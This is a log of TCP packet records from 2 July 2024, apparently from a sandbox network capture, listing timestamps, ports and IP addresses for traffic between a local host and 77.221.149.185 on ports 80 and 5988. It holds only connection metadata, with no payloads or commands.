Jul 2, 2024 22:52:31.955921888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.955979109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.955998898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956008911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956018925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956029892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956039906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956054926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956088066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956088066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956120014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956129074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956139088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956262112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956307888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956321955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956332922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956362009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956422091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956430912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956440926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956450939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956455946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956461906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956501007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956600904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956609011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956619024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956629038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956639051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956650972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956660032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956670046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956676960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956679106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956684113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956684113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956690073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956697941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.956731081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.956790924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957050085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957060099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957071066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957081079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957091093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957099915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957110882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957110882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957112074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957129955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957170010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957236052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957242012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957252026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957262039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957267046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957277060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957288027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957298040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.957319975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957319975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.957410097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975399971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975472927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975483894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975568056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975577116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975588083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975598097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975636959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975636959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975682974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975728035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975739002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975748062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975753069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975763083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975771904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975781918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975791931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975800991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.975805998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975805998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975826979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.975864887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976011992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976023912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976032972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976037979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976043940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976083040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976255894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976269960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976279974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976289034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976300001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976308107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976311922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976313114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976317883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976329088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976336956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976339102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976347923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976357937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976366997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976377010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.976398945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.976937056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.042690992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042742014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042771101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042782068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042790890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042799950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042824984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.042859077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.042876005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042897940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042908907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042989016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.042999029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043008089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043016911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043019056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043042898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043067932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043113947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043123960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043210030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043220043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043231010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043240070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043248892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043258905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043267965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043272018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043277979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043286085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043311119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043354034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043474913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043486118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043494940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043504953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043514013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043524027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043529987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043551922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043551922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043611050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043656111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043664932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043668032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043677092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043703079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043878078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043888092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043896914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043905020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.043934107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.043992043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045480013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045543909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045552015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045562029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045630932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045639992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045643091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045659065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045669079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045677900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045707941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045767069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045777082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045785904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045792103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045830965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045886993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045897007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045906067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045906067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045916080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045926094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.045947075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.045994043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046025991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046036959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046046972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046087027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046142101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046181917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046192884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046200991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046211004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046220064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046228886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046238899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046247959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046257973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046257973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046278000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046308994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046444893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046461105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046471119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046480894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046504021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046504974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046514988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046525002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046534061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046542883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046559095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046559095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046570063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046760082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046768904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046777964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046794891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046804905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046814919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046823978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.046828985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046828985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046871901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.046900034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064543009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064578056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064588070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064596891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064605951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064614058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064625025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064634085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064636946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064636946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064682007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064682007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064764977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064774990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064785004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064795017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064804077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064846039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064858913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.064893961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064903975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064908981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.064970970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065027952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065038919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065049887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065063953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065129042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065164089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065174103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065184116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065193892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065201998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065212011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065217018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065232038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065232992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065232992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065242052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065252066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065252066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065382957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065428019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065438986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065448999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065459013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065464973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065476894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065485954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.065486908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065486908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.065660000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.087714911 CEST	5988	49713	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.087932110 CEST	49713	5988	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.088042974 CEST	5988	49713	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.088120937 CEST	49713	5988	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.093281031 CEST	5988	49713	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131717920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131778955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131791115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131846905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.131854057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131865025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131875038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.131926060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.131926060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132015944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132148981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132164001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132174015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132184029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132194996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132209063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132220030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132229090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132249117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132249117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132266045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132420063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132431030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132441044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132494926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132494926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132540941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132551908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132563114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132611990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132631063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132642031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132652998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132708073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132708073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132802963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132814884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132824898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132862091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.132930040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132941008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.132950068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133001089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.133001089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.133069038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133080006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133090019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.133120060 CEST	49712	80	192.168.2.5	77.221.149.185
